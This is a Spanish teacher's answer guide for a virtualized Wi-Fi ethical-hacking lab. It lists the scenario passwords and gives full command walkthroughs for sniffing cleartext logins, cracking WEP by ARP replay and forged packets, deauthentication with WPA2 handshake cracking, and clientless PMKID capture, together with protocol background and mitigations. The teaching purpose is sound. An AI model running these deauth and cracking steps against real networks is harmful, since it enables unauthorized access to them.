Guía del profesor — Laboratorio Wi-Fi (Hacking Ético)

> **DOCUMENTO SOLO PARA EL PROFESOR.** Contiene las claves y la resolución completa de cada escenario. No lo repartas al alumnado: ellos tienen `guia_alumno.md`.

> **Entorno 100 % virtualizado.** Todas las radios son simuladas con `mac80211_hwsim` y aisladas en *network namespaces*. No hay emisión por radio real: las prácticas solo funcionan contra los APs de este laboratorio. **Uso exclusivamente educativo y en el aula.** Atacar redes reales sin autorización expresa por escrito es ilegal (en España, arts. 197 bis y 264 del Código Penal).

---

0. Puesta en marcha

```
sudo ./despliegue.sh
```

El script instala lo que falte (`hostapd`, `hcxtools`, `pocl-opencl-icd`, `ocl-icd-libopencl1`), levanta los 10 escenarios y, al terminar, imprime el **SSID, canal y BSSID real** de cada uno (las claves no se muestran). Los BSSID cambian en cada despliegue. Las interfaces de trabajo del alumno son **`wlan0` … `wlan6`**.

Para desmontarlo todo: `sudo ./limpia.sh`.

Poner una interfaz en modo monitor

```
sudo airmon-ng start wlan0 <canal>   # crea wlan0mon
# o, a mano:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
```

No uses `airmon-ng check kill`. El script ya excluye las radios virtuales de NetworkManager, así que no hay nada que matar. Además, `ip netns exec` no aísla PIDs: `check kill` mataría los `wpa_supplicant` de los clientes del lab y los escenarios se quedarían sin tráfico (hay que volver a desplegar). `airmon-ng start` mostrará esos procesos como "could cause trouble": es solo un aviso y se puede ignorar.

Localizar objetivos y fijar canal

```
# Barrido general: anota BSSID y canal (CH)
sudo airodump-ng wlan0

# Fijar la interfaz al canal del objetivo (ej. canal 11)
sudo iw dev wlan0 set channel 11
```

Soluciones

SSID	Ch	Seguridad	Objetivo didáctico	Solución
`he_open`	1	Abierta	Sniffing de tráfico en claro (HTTP POST)	`user=admin&pass=SecretPass2026`
`he_wep`	9	WEP-104	Recolección de IVs + reinyección ARP	`ilovemyfamily` (hex `69:6C:6F:76:65:6D:79:66:61:6D:69:6C:79`)
`he_wpa2`	6	WPA2-PSK	Captura del handshake 4-way + crackeo	`sunshine`
`he_pmkid`	11	WPA2-PSK	PMKID **con** clientes asociados	`butterfly`
`he_pmkid_nc`	4	WPA2-PSK	PMKID **sin** clientes (*clientless*)	`football`
`he_enterprise`	3	WPA2-EAP	Análisis pasivo de EAP-PEAP	Identidad `alumno@iesvjp.es` · tipo EAP 25 (PEAP) · cert. `radius.domain.lab`
`he_wps`	7	WPA2-PSK + WPS	Fuerza bruta online del PIN WPS	PIN y clave **aleatorios en cada despliegue** (ver sección 7)
`he_wpa3_tm`	2	WPA2/WPA3 mixto	Atacar la parte WPA2 de una red en transición	`princess` (por la vía WPA2)
`he_wpa3`	5	WPA3-SAE puro	Diccionario **online** contra SAE	`iloveyou` (solo online)
`he_wpa3_dg`	10	WPA3-SAE puro	Downgrade a WPA2 con AP gemelo (Dragonblood)	`babygirl` (por el M2 robado)

Las claves de los tres escenarios WPA3 (`princess`, `iloveyou`, `babygirl`) están en `rockyou.txt`, a propósito: la lección de WPA3 es que sin una clave débil estos ataques no llegan a ninguna parte. SAE **no**

admite la PMK en hex (`sae_password` necesita la passphrase en claro), así que aquí no hay anti-cheat por diseño del protocolo: las claves están en `despliegue.sh`.

Las tres claves WPA2 de `he_wpa2`, `he_pmkid` y `he_pmkid_nc` y la contraseña del usuario Enterprise (`computer`) están en `rockyou.txt`. La clave de `he_wps` **no** está en ningún diccionario, a propósito.

---

1. he_open — Red abierta (tráfico en claro)

Un cliente envía un POST de login en bucle. El objetivo es demostrar que en una red sin cifrado las credenciales viajan legibles.

```
sudo iw dev wlan0 set channel 1
sudo airodump-ng -c 1 --bssid <BSSID_OPEN> -w cap_open wlan0
# En otra terminal, filtrar el POST en la captura:
tshark -r cap_open-01.cap -Y 'http.request.method == "POST"' -T fields -e
http.file_data
```

Resultado esperado: `user=admin&pass=SecretPass2026`.

Aprendizaje: cualquiera en la misma red abierta ve las credenciales.

Fundamento técnico

- **No hay cifrado en la capa de enlace.** En una red abierta el cuerpo de las tramas de datos 802.11 viaja tal cual: cabecera LLC/SNAP, IP, TCP y HTTP.
- **El medio es compartido.** Una interfaz en **modo monitor** entrega al sistema todas las tramas del canal, vayan dirigidas a ella o no (no filtra por `addr1`). No hace falta asociarse ni "atacar" nada: basta escuchar.
- **Lo que se explota es la ausencia de cifrado extremo a extremo.** El formulario se envía por HTTP, así que usuario y contraseña van legibles en el cuerpo del POST. Con HTTPS (TLS) se vería el tráfico, pero no su contenido.
- **Mitigación:** TLS en las aplicaciones (HTTPS, HSTS) y, en la red, **OWE / Wi-Fi Enhanced Open** (WPA3), que cifra cada cliente con una clave propia negociada por Diffie-Hellman sin necesidad de contraseña.

---

2. he_wep — WEP (IVs + reinyección ARP)

Dos clientes generan ARP broadcast en bucle, ideal para la reinyección. Basta una sola interfaz en monitor para capturar e inyectar.

```
# Monitor en el canal 9 (sin 'check kill')
sudo airmon-ng start wlan0 9

BSSID=<BSSID_WEP>

# 1. Capturar IVs (terminal 1, dejar corriendo)
sudo airodump-ng -c 9 --bssid $BSSID -w cap_wep wlan0mon
#    Anotar la MAC de un cliente de la lista STATION (p. ej.
02:00:00:00:13:00)
CLIENT=<MAC_CLIENTE>

# 2. Reinyección ARP suplantando al cliente (terminal 2)
sudo aireplay-ng -3 -b $BSSID -h $CLIENT wlan0mon
#    Si se reinicia, reutilizar el ARP ya capturado:
#    sudo aireplay-ng -3 -b $BSSID -h $CLIENT -r replay_arp-*.cap wlan0mon

# 3. Crackear en paralelo (terminal 3); reintenta solo cada 5000 IVs
aircrack-ng -b $BSSID cap_wep-*.cap
#    Si PTW no lo consigue: aircrack-ng -K -n 128 -b $BSSID cap_wep-*.cap
```

Resultado esperado: `KEY FOUND! [ 69:6C:6F:76:65:6D:79:66:61:6D:69:6C:79 ] (ASCII: ilovemyfamily)` (con WEP-104, normalmente entre 20.000 y 80.000 IVs).

Fundamento técnico

Cómo cifra WEP cada paquete. WEP usa el cifrador de flujo **RC4**. La clave de cada paquete se construye pegando un **IV** (vector de inicialización, 24 bits) delante de la clave compartida:

```
clave RC4 del paquete = IV (24 bits, viaja EN CLARO) ‖ clave WEP (40 o 104
bits)
keystream             = RC4(IV ‖ clave WEP)
ICV                   = CRC32(datos)
cifrado               = (datos ‖ ICV) ⊕ keystream
trama                 = cabecera 802.11 ‖ IV ‖ KeyID ‖ cifrado
```

El receptor lee el IV de la cabecera, lo pega a la clave que ya conoce, regenera el mismo keystream y hace XOR para descifrar.

Qué se explota:

1. **Los primeros bytes de la clave RC4 de cada paquete son públicos.** El IV ocupa los 3 primeros bytes y viaja en claro. El algoritmo de inicialización de RC4 (KSA) tiene correlaciones estadísticas entre los bytes de la clave y los primeros bytes del keystream:
    - **FMS (2001):** solo los IV "débiles" filtraban información; hacían falta millones de paquetes.
    - **KoreK (2004):** más correlaciones; cientos de miles de IVs. Es el modo `-K` de aircrack-ng.
    - **PTW (2007):** basado en la correlación de Klein; sirve **cualquier** IV. Con WEP-104, ~40.000 paquetes dan un 50 % de éxito y ~85.000 un 95 %. Es el modo por defecto de aircrack-ng.

2. **Hay texto plano conocido para obtener el keystream.** El ataque necesita los primeros bytes del keystream de cada paquete, y keystream = cifrado ⊕ texto plano. Los paquetes ARP empiezan siempre igual: LLC/SNAP `AA AA 03 00 00 00 08 06` más la cabecera ARP `00 01 08 00 06 04 00 01`. Por eso PTW usa ARP: de cada uno se obtienen unos 16 bytes de keystream, cada paquete "vota" por el valor de cada byte de la clave y, con suficientes votos, la clave cae.
3. **No hay protección contra repetición.** WEP no lleva contador ni número de secuencia criptográfico: un paquete cifrado capturado es válido para siempre. El atacante reinyecta el mismo ARP una y otra vez. El AP lo acepta y lo retransmite en broadcast **cifrado con un IV nuevo**, y cada retransmisión es una muestra más para PTW. Esto es lo que hace `aireplay-ng -3`: pasar de unos pocos IVs por segundo a cientos.
4. **El IV es demasiado corto.** Con 24 bits solo hay 16,7 millones de IVs y, por la paradoja del cumpleaños, hay un 50 % de probabilidad de repetir uno a los ~5.000 paquetes. Mismo IV implica mismo keystream, y C1 ⊕ C2 = P1 ⊕ P2.
5. **La integridad es lineal y no lleva clave.** CRC32 no es un MAC: se pueden modificar bits del cifrado y recalcular el ICV sin conocer la clave (*bit-flipping*). Es la base de chopchop.
6. **La clave es estática y compartida.** Todos los clientes usan la misma clave, que no rota nunca.

Por qué no importa lo robusta que sea la clave. El ataque es estadístico, no de diccionario: no prueba contraseñas, sino que deduce cada byte de la clave a partir de las correlaciones. `ilovemyfamily` o 13 bytes aleatorios caen con el mismo número de IVs.

Fundamento del plan B (sin un ARP capturado):

- **Fragmentación (`-5`).** De cualquier paquete se conocen los 8 primeros bytes en claro (LLC/SNAP), así que se obtienen 8 bytes de keystream. 802.11 permite partir un paquete en hasta 16 fragmentos, y cada uno se puede cifrar con ese mismo keystream. El AP reensambla los fragmentos y retransmite el paquete completo con un IV nuevo. Como el atacante conoce lo que ha enviado, obtiene un keystream más largo, y repitiendo llega hasta ~1500 bytes.
- **Chopchop (`-4`).** Se quita el último byte de un paquete cifrado, se prueba cada uno de los 256 valores posibles y se corrige el ICV aprovechando la linealidad de CRC32. El AP descarta los ICV incorrectos y solo acepta el correcto, así que actúa de **oráculo**: se descifra el paquete byte a byte.
- **`packetforge-ng`.** Con un keystream y su IV se puede cifrar cualquier paquete: `(ARP ‖ CRC32(ARP)) ⊕ keystream`. Así se fabrica un ARP válido para reinyectar.

Mitigación: no hay ninguna dentro de WEP: está roto por diseño. Hay que usar WPA2 o WPA3.

Por qué `-h` con la MAC de un cliente y no fake auth (`-1`)

En un AP real se haría `aireplay-ng -1` (fake auth) y se inyectaría con la MAC propia. En `mac80211_hwsim` **no funciona**: el simulador solo genera ACK para interfaces activas, y una interfaz en monitor no lo es. El AP no recibe el ACK de la *Association Response*, hostapd no da por asociada la estación y descarta los ARP inyectados (aireplay muestra `got a deauth/disassoc packet`).

Síntoma típico: aireplay envía miles de paquetes, pero `#Data` en airodump apenas sube (2-3/s). Comprobación desde el host:

```
sudo ip netns exec ns_ap_wep iw dev wlan_ap_wep station dump | grep Station
# Solo aparecen los dos clientes reales, no la MAC de wlan0mon
```

Suplantando a un cliente ya asociado, el AP acepta los ARP y los retransmite con IVs nuevos: `#Data` sube a cientos por segundo.

La columna `Lost` de airodump

Con la reinyección, la estación suplantada muestra muchos `Lost`. No son paquetes perdidos: airodump calcula `Lost` por saltos en el número de secuencia, y el cliente real y aireplay emiten con la misma MAC y secuencias distintas. Se ignora; lo que importa es que `#Data` suba.

Plan B: sin ARP capturado (forjar uno)

Si `-3` no llega a capturar ningún ARP, se obtiene el keystream de cualquier paquete de datos y se forja un ARP:

```
# Keystream: fragmentación (si falla, chopchop con -4 -> replay_dec-*.xor)
sudo aireplay-ng -5 -b $BSSID -h $CLIENT wlan0mon          # -> fragment-*.xor

packetforge-ng -0 -a $BSSID -h $CLIENT -k 255.255.255.255 -l 255.255.255.255 \
               -y fragment-*.xor -w arp_forjado.cap

sudo aireplay-ng -2 -r arp_forjado.cap wlan0mon             # responder "y"
```

---

3. `he_wpa2` — Handshake 4-way + crackeo offline

Hay dos clientes asociados.

a) Capturar el handshake

```
sudo iw dev wlan0 set channel 6
sudo airodump-ng -c 6 --bssid <BSSID_WPA2> -w cap_wpa2 wlan0
```

b) Forzar reconexión con un deauth (desde otra terminal)

```
sudo iw dev wlan1 set type monitor && sudo ip link set wlan1 up
sudo iw dev wlan1 set channel 6
sudo aireplay-ng -0 3 -a <BSSID_WPA2> wlan1
```

Cuando airodump muestre `WPA handshake: <BSSID>` arriba a la derecha, ya lo tienes.

c) Crackear

```
# Con aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID_WPA2> cap_wpa2-
01.cap

# O con hashcat (modo 22000)
hcxpcapngtool -o hash_wpa2.22000 cap_wpa2-01.cap
hashcat -m 22000 hash_wpa2.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `sunshine`.

Fundamento técnico

Derivación de claves. La contraseña nunca viaja por la red. A partir de ella se deriva la **PMK**, y en cada conexión se deriva de la PMK una clave temporal, la **PTK**:

```
PMK = PBKDF2-HMAC-SHA1(passphrase, SSID, 4096 iteraciones, 256 bits)
PTK = PRF-512(PMK, "Pairwise key expansion",
              min(MAC_AP,MAC_STA) ‖ max(MAC_AP,MAC_STA) ‖
              min(ANonce,SNonce)  ‖ max(ANonce,SNonce))
KCK = primeros 128 bits de la PTK      (clave para el MIC)
```

Handshake 4-way:

Mensaje	Sentido	Contenido relevante
M1	AP → STA	ANonce (en claro)
M2	STA → AP	SNonce (en claro) + **MIC** = HMAC-SHA1(KCK, trama M2)
M3	AP → STA	GTK cifrada + MIC
M4	STA → AP	Confirmación + MIC

Qué se explota:

- **Todo lo que entra en el cálculo, salvo la contraseña, viaja en claro:** SSID, MACs, ANonce, SNonce y la propia trama M2. El **MIC funciona como un verificador de la contraseña**. Para cada candidata del diccionario se calcula PMK → PTK → KCK → MIC; si coincide con el capturado, la contraseña es esa. Es un ataque **offline**: no hay que hablar con el AP ni hay límite de intentos. Basta con M1 + M2 (o M2 + M3).
- **Las tramas de gestión no van autenticadas.** Sin 802.11w (PMF), un deauth con la MAC del AP falsificada desconecta al cliente. Este se reconecta solo y repite el handshake delante del atacante. Por eso funciona `aireplay-ng -0`.
- **Contraste con WEP:** aquí no hay debilidad criptográfica, solo fuerza bruta. PBKDF2 con 4096 iteraciones hace cada intento caro. Con una contraseña larga y aleatoria el ataque es inviable; solo caen las contraseñas débiles o de diccionario (`sunshine` está en `rockyou.txt`).

- **El SSID actúa como sal:** las tablas precalculadas solo sirven para un SSID concreto. Por eso los SSID por defecto o muy comunes son más vulnerables.

Mitigación: contraseña larga y aleatoria; **WPA3-SAE** (el intercambio *Dragonfly* no deja material para un ataque de diccionario offline y aporta *forward secrecy*); **PMF (802.11w)** contra los deauth falsificados.

---

4. `he_pmkid` — PMKID **con** clientes

Hay una estación asociada generando tráfico. Sirve para contrastar las **dos vías**: capturar el PMKID (campo del M1) o el handshake 4-way tras un deauth.

Con hcxtools se consiguen las dos vías en una sola captura: hcxdumptool captura PMKID y handshakes a la vez.

a) Capturar con hcxdumptool (canal 11, solo este AP)

```
# Localizar el objetivo
sudo airodump-ng wlan0mon --band g       # he_pmkid: CH 11, con una estación
BSSID=<BSSID_PMKID>

# Filtro BPF para no atacar los otros escenarios
sudo hcxdumptool --bpfc="wlan addr3 $BSSID" > pmkid.bpf

# Interfaz limpia: hcxdumptool la pone en monitor él solo
sudo hcxdumptool -i wlan1 -c 11a --bpf=pmkid.bpf -w pmkid_cli.pcapng --rds=1
```

`pmkid.bpf` no forma parte del lab: lo genera `--bpfc` en la primera línea. Es el filtro compilado a bytecode BPF, en el mismo formato que `tcpdump -ddd`. `addr3` es el BSSID en las tramas de gestión y en el M1 del AP. El filtro es opcional, pero sin él hcxdumptool también ataca a los clientes de los otros escenarios del mismo canal.

hcxdumptool hace dos cosas a la vez:

- **Se asocia con el AP con una MAC inventada.** El AP le envía el M1 con el PMKID, igual que en `he_pmkid_nc`.
- **Ataca al cliente legítimo.** Lo desasocia y, cuando el cliente intenta reconectar, consigue su M2. Puede capturar el 4-way completo contra el AP real o hacerse pasar por el AP (pares *ROGUE*). En los dos casos el M2 lo calcula el cliente con la **clave real**, así que su MIC sirve para crackear. No es como el M2 de la contraseña falsa del método B de `he_pmkid_nc`.

En la pantalla salen **dos filas** para este AP:

- **Con la MAC de hcxdumptool** en `MAC-CL`: columna `P` marcada (PMKID).
- **Con la MAC del cliente real**: columnas `2` o `3` marcadas (handshake).

Cuando estén las dos, **Ctrl+C**. Bastan unos segundos o un minuto. No hay que dejarlo corriendo: mientras está activo sigue desconectando al cliente.

b) Convertir y separar los dos tipos de hash

```
hcxpcapngtool -o pmkid_cli.22000 pmkid_cli.pcapng

# Quedarse solo con he_pmkid (por si se ha colado otra red)
hcxhashtool -i pmkid_cli.22000 --essid=he_pmkid -o solo_pmkid.22000

grep -c '^WPA\*01' solo_pmkid.22000   # PMKID
grep -c '^WPA\*02' solo_pmkid.22000   # handshake (M1+M2)
```

En el resumen de hcxpcapngtool:

- `RSN PMKID written to 22000 hash file`: PMKID.
- `EAPOL pairs written to 22000 hash file`: handshakes.
- `EAPOL ROGUE pairs`: handshakes obtenidos haciéndose pasar por el AP.
- `MAC ACCESS POINT ... (incremented on every new client)`: el AP falso del propio hcxdumptool, no el del lab.

Cada línea 22000 tiene el formato `WPA*<tipo>*<PMKID o MIC>*<MAC_AP>*<MAC_STA>*<ESSID en hex>*...`.

c) Crackear

```
hashcat -m 22000 solo_pmkid.22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 solo_pmkid.22000 --show
```

hashcat informa de `2 digests; 2 unique digests, 1 unique salts`: son dos hashes (PMKID y handshake) de la misma red, y el *salt* común es el ESSID. Los dos salen con la misma clave (`Recovered: 2/2`).

Para demostrar que cada vía funciona por separado:

```
hcxhashtool -i solo_pmkid.22000 --type=1 -o solo_pmkid_01.22000   # solo PMKID
hcxhashtool -i solo_pmkid.22000 --type=2 -o solo_pmkid_02.22000   # solo
handshake
```

Resultado esperado: `butterfly`.

Problema frecuente: hashcat termina sin probar nada y muestra `Not enough allocatable device memory or free host memory for mapping`. La VM tiene poca RAM: PoCL solo deja reservar la mitad (por ejemplo `738/1477 MB`). Lo mejor es darle 4 GB a la VM. Si no es posible, reduce la carga:

```
hashcat -m 22000 solo_pmkid.22000 /usr/share/wordlists/rockyou.txt -n 1 -u 1 -
T 1 -w 1
```

Si se prueba con un diccionario propio, comprueba que contiene la clave. hashcat no avisa: simplemente termina como `Exhausted`.

d) Vía alternativa con la suite aircrack-ng

El mismo escenario se resuelve solo con la suite aircrack-ng, sin hcxtools. Como hay un cliente asociado, se aprovecha un **deauth** para forzar su reasociación: el AP responde con un M1 que (en este lab, con el hostapd parcheado) lleva el **PMKID**, y acto seguido se completa el **handshake 4-way**. airodump-ng guarda ambos en el mismo `.cap`.

```
# Monitor y localización
sudo airmon-ng start wlan0                # -> wlan0mon
sudo airodump-ng wlan0mon --band g        # he_pmkid: CH 11, con una estación

# Capturar fijando canal y BSSID (anota la MAC del cliente en STATION)
BSSID=<BSSID_PMKID>
sudo airodump-ng -c 11 --bssid $BSSID -w cap_pmkid wlan0mon
```

airodump-ng captura de forma **pasiva**. Si el cliente ya estaba asociado antes de empezar, puede que no se vea aún ni el handshake ni el PMKID: hay que provocar una reconexión.

```
# Desde otra terminal: deauth dirigido al cliente (-c) o a todos
CLIENT=<MAC_CLIENTE>
sudo aireplay-ng -0 3 -a $BSSID -c $CLIENT wlan0mon
```

Al reconectarse el cliente, airodump-ng muestra arriba a la derecha `WPA handshake: <BSSID>`; las versiones recientes también anuncian el PMKID con un `PMKID found`. Con cualquiera de los dos ya se puede crackear:

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b $BSSID cap_pmkid-01.cap
```

aircrack-ng (desde la 1.4) lee el PMKID del M1 **y** el MIC del handshake. En el encabezado indica qué material tiene, por ejemplo `1 handshake, with PMKID`. Si solo quieres convertirlo al formato de hashcat, sirve el mismo `hcxpcapngtool -o hash.22000 cap_pmkid-01.cap` de la sección 3.

Resultado esperado: `butterfly`.

Diferencia con hcxtools. hcxdumptool consigue el PMKID **activamente**: se asocia él mismo con una MAC inventada y le basta el M1 del AP (por eso en `he_pmkid_nc`, sin clientes, funciona igual). La vía aircrack-ng es **pasiva + deauth**: necesita que un cliente legítimo se reasocie para que el AP emita ese M1

y para capturar el handshake. Por eso aquí, con cliente, las dos funcionan; en `he_pmkid_nc` solo la primera.

Fundamento técnico

- **Qué es el PMKID.** Es un identificador de la PMK pensado para el *roaming* y la caché de PMK (802.11i/r, OKC). Si el cliente vuelve a un AP que ya conoce su PMK, ambos la identifican por el PMKID y se ahorran repetir la autenticación completa. El AP lo incluye en el campo *Key Data* (RSN IE) del **M1**:

  ```
  PMKID = HMAC-SHA1-128(PMK, "PMK Name" ‖ MAC_AP ‖ MAC_STA)
  ```

- **Qué se explota.** Como el MIC del handshake, el PMKID es un **verificador de la contraseña** calculado con datos públicos (las dos MACs) y la PMK. Para cada candidata se calcula PMK → HMAC y se compara. El coste es el mismo que con el handshake (PBKDF2), pero basta **una sola trama (M1)**, enviada por el AP, en vez de M1 + M2. Lo descubrió Jens Steube (hashcat) en 2018.

- **Dos vías en este escenario.** Hay un cliente asociado, así que se puede conseguir el PMKID (asociándose uno mismo) o el handshake (deauth al cliente). hashcat las distingue en el formato 22000: `WPA*01` = PMKID, `WPA*02` = handshake.

  - Para el **PMKID** basta con el M1 del AP. Lo calcula el AP con la PMK real, sin importar quién se asocie.
  - Para el **handshake** hacen falta M1 y M2. El MIC del M2 solo vale como verificador si lo calcula alguien que conoce la clave, es decir, el cliente legítimo. Por eso esta vía necesita un cliente y la del PMKID no.

- **Ruido.** La vía del PMKID es sigilosa: solo hay una asociación del atacante. La del handshake obliga a desconectar al cliente, que lo nota como un corte breve y queda registrado en el AP.

- **Nota del lab:** el hostapd de serie no incluye el PMKID en el M1 con WPA-PSK. Por eso los escenarios PMKID usan un hostapd parcheado (`compila_hostapd_pmkid.sh`), que reproduce el comportamiento de muchos routers comerciales.

---

5. `he_pmkid_nc` — PMKID **sin** clientes (*clientless*)

No hay ninguna estación asociada **a propósito**. Es el caso que demuestra por qué el PMKID es peligroso: el AP incluye el PMKID en el **primer mensaje (M1)** del 4-way durante la asociación, así que **no hace falta ningún cliente**: basta con provocar uno mismo la asociación para que el AP emita ese M1.

Hay dos formas de provocar esa asociación. Las dos terminan igual: `hcxpcapngtool` extrae el PMKID (línea `WPA*01`) y `hashcat -m 22000` lo crackea.

```
# Localizar el objetivo
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon --band g       # he_pmkid_nc: CH 4, sin estaciones
BSSID=<BSSID_PMKID_NC>
```

Método A: hcxdumptool (ataque *clientless* "real")

hcxdumptool se hace pasar por un cliente con una MAC inventada, se autentica y se asocia con el AP, y guarda el M1 que este le envía.

```
# Interfaz limpia: hcxdumptool la pone en monitor él solo
sudo hcxdumptool -i wlan1 -c 4a -w pmkid_nc.pcapng --rds=1
#   -c 4a es imprescindible: por defecto solo salta por los canales 1, 6 y 11
#   (la "a" indica la banda de 2,4 GHz). Sintaxis de la 6.3 y posteriores.
#   Esperar a que la fila de he_pmkid_nc muestre "+" en la columna P y pulsar
Ctrl+C.

hcxpcapngtool -o pmkid_nc.22000 pmkid_nc.pcapng   # debe escribir una línea
WPA*01
hashcat -m 22000 pmkid_nc.22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 pmkid_nc.22000 --show
```

En la pantalla de hcxdumptool, las columnas `E A 1 2 3 P` de cada AP se marcan con `+`. Lo normal en este escenario es ver `+` en `E`, `A`, `1` y `P`, y nada en `2` ni en `3` (no hay clientes). Si `A` se queda en blanco, la asociación no se completa (ver más abajo: hostapd sin recompilar). Si `1` tiene `+` pero `P` no, el AP envía el M1 sin PMKID.

Requiere el hostapd recompilado con el parche del ACK. Si `/usr/local/sbin/hostapd-pmkid` es anterior a ese parche:

```
sudo ./limpia.sh
sudo ./compila_hostapd_pmkid.sh --force    # deben salir DOS "[OK] Parche
aplicado"
sudo ./despliegue.sh
```

Método B: `wpa_supplicant` con una contraseña falsa

El atacante se asocia como un cliente normal, con una contraseña cualquiera. El AP envía el M1 con el PMKID **antes** de comprobar nada. No necesita el hostapd recompilado con el parche del ACK.

```
# wlan1 en modo managed (si hcxdumptool la dejó en monitor)
sudo ip link set wlan1 down; sudo iw dev wlan1 set type managed; sudo ip link
set wlan1 up

# Terminal 1: capturar en el canal 4
sudo airodump-ng -c 4 --bssid $BSSID -w pmkid_nc wlan0mon

# Terminal 2: asociarse con una contraseña falsa
wpa_passphrase he_pmkid_nc contrasenafalsa > falso.conf
sudo wpa_supplicant -D nl80211 -i wlan1 -c falso.conf
#   ~10 s: saldrán errores de 4-way handshake (clave incorrecta). Ctrl+C

# Extraer SOLO el PMKID y crackear
hcxpcapngtool -o todo.22000 pmkid_nc-01.cap
grep 'WPA\*01' todo.22000 > pmkid_nc.22000
hashcat -m 22000 pmkid_nc.22000 /usr/share/wordlists/rockyou.txt
```

El `grep` es necesario: la captura también contiene el M2 que ha enviado `wpa_supplicant`, calculado con la contraseña falsa. hcxpcapngtool lo saca como `WPA*02`, y esa línea no tiene sentido crackearla.

Resultado esperado (ambos métodos): `football`.

Por qué hubo que recompilar hostapd para el método A

`compila_hostapd_pmkid.sh` aplica **dos** parches a hostapd 2.10. Los dos afectan solo al binario `hostapd-pmkid` (escenarios `he_pmkid`, `he_pmkid_nc` y, por el parche 2, también `he_wps`); el resto de escenarios usa el hostapd del sistema.

1. **PMKID en el M1 con WPA-PSK** (`src/ap/wpa_auth.c`). El hostapd de serie solo incluye el PMKID en el M1 con 802.1X, SAE u OWE. Sin este parche no hay PMKID que capturar con ningún método. Reproduce el comportamiento de muchos routers comerciales.
2. **No exigir el ACK de la *Authentication/Association Response*** (`src/ap/ieee802_11.c`, `handle_auth_cb` y `handle_assoc_cb`). En 802.11 el receptor de cada trama unicast la confirma con un ACK, y hostapd descarta a la estación si no recibe el ACK de esas dos respuestas. En `mac80211_hwsim` solo envían ACK las interfaces "activas" (managed, AP...). La MAC inventada que inyecta hcxdumptool desde modo monitor no pertenece a ninguna, así que nadie confirma las respuestas del AP. hostapd da la asociación por fallida y **nunca envía el M1**.

Síntoma sin el parche 2: la captura de hcxdumptool solo tiene un beacon y una *probe response*, y hcxpcapngtool avisa de que faltan tramas de autenticación y asociación (`no hashes written`). Para comprobarlo en directo:

```
sudo iw dev wlan0mon set channel 4
sudo tcpdump -i wlan0mon -e -n "wlan addr3 $BSSID and not subtype beacon"
# Se ve Authentication/Association, pero ninguna trama EAPOL del AP
```

El parche 2 solo cambia qué hace hostapd cuando **falta** el ACK. Los clientes legítimos y el método B (`wlan1` en managed) sí envían el ACK, así que siguen funcionando igual. El único efecto secundario es que cada intento de hcxdumptool deja una estación "fantasma" hasta que caduca por inactividad (unos 5 minutos).

Es la misma limitación que impide el fake auth (`aireplay-ng -1`) en el escenario WEP, y la que obliga a usar este binario en `he_wps` (Reaver y Bully también se asocian desde modo monitor).

Comparación (respuesta a la pregunta de la guía del alumno):

	`he_pmkid`	`he_pmkid_nc`
Cliente conectado	Sí	No
¿Hace falta esperar/deauth a un cliente?	Opcional	**No**
Material obtenible	PMKID **y** handshake	Solo PMKID
Lección	Dos vías de ataque	El PMKID no depende de clientes

Fundamento técnico

- Se aplica la misma fórmula que en el escenario anterior: `PMKID = HMAC-SHA1-128(PMK, "PMK Name" ‖ MAC_AP ‖ MAC_STA)`. Con PSK, la `MAC_STA` puede ser **la del atacante**: el PMKID no depende de ningún cliente legítimo. Cualquiera que se asocie recibe un M1 con un PMKID válido para su propia MAC.
- **Qué se explota.** El AP envía el M1 **antes** de que el cliente haya demostrado conocer la clave: el atacante no necesita la contraseña para provocarlo. En el 4-way, quien demuestra conocer la clave es el cliente, con el MIC del M2. Pero el PMKID ya va en el M1, que el AP envía sin verificación previa. Por eso el ataque es *clientless* y más sigiloso: no hay deauth ni hay que esperar a nadie.
  - Con hcxdumptool (método A) el atacante ni siquiera envía un M2.
  - Con `wpa_supplicant` (método B) se envía un M2 con una contraseña falsa, pero da igual: el PMKID del M1 ya está capturado.
- **Por qué sirve para crackear.** Todo lo que entra en la fórmula salvo la PMK es público: "PMK Name" es una constante, la MAC del AP sale en el beacon y la MAC de la estación la elige el atacante. Para cada contraseña candidata: `PMK = PBKDF2(candidata, SSID, 4096)` → `HMAC-SHA1-128(PMK, …)`. Si el resultado coincide con el PMKID capturado, la contraseña es esa. Es un ataque offline de diccionario: solo caen contraseñas débiles.
- **Contraste con el handshake clásico.** Sin clientes, el ataque al 4-way es imposible, porque nadie genera el M2 con el MIC. Con PMKID, un AP vacío sigue siendo atacable.
- **Mitigación:** igual que en WPA2-PSK (contraseña robusta, WPA3-SAE) y desactivar la caché de PMK / el PMKID en PSK si el fabricante lo permite.

---

6. `he_enterprise` — WPA2-EAP (PEAP/MSCHAPv2)

Hay un cliente conectado con PEAP/MSCHAPv2. El objetivo es **pasivo**: sacar de la captura la identidad del usuario, el método EAP y el certificado del servidor. El vector de **Evil Twin / RADIUS falso** (`hostapd-wpe`) se comenta en clase, pero no se ejecuta en este escenario.

Cómo está montado el escenario

- **El propio hostapd es el servidor de autenticación** (`eap_server=1`). No hay RADIUS externo. Usa un certificado autofirmado (`CN=radius.domain.lab`), que `despliegue.sh` genera la primera vez en `/opt/wifi-lab/enterprise/certs/`.
- **Sin caché de PMKSA** (`disable_pmksa_caching=1`). Cada conexión repite el EAP completo. Con la caché, el cliente reconectaría solo con el PMKID y no se vería ningún intercambio EAP.
- **El cliente se reasocia cada 30 s** (`wpa_cli reassociate`). Así la autenticación se repite sola y basta con escuchar: no hace falta deauth.
- **El cliente no valida el certificado** (no tiene `ca_cert`). Es la debilidad que se comenta en el fundamento técnico.

Al desplegar debe salir `[✓] Cliente he_enterprise autenticado (PEAP/MSCHAPv2)`.

a) Capturar

```
sudo airmon-ng start wlan0 3
sudo airodump-ng -c 3 --bssid <BSSID_ENT> -w cap_ent wlan0mon
# Esperar ~1 min (al menos una reasociación) y Ctrl+C
```

b) Identidad y método EAP

```
tshark -r cap_ent-01.cap -Y eap -T fields -e eap.code -e eap.type -e
eap.identity
```

Se lee así:

`eap.code`	`eap.type`	**Significado**
1 (Request)	1	El AP pide la identidad
2 (Response)	1	El cliente responde con `alumno@iesvjp.es` **en claro**
1 (Request)	25	El servidor propone PEAP (*PEAP Start*)
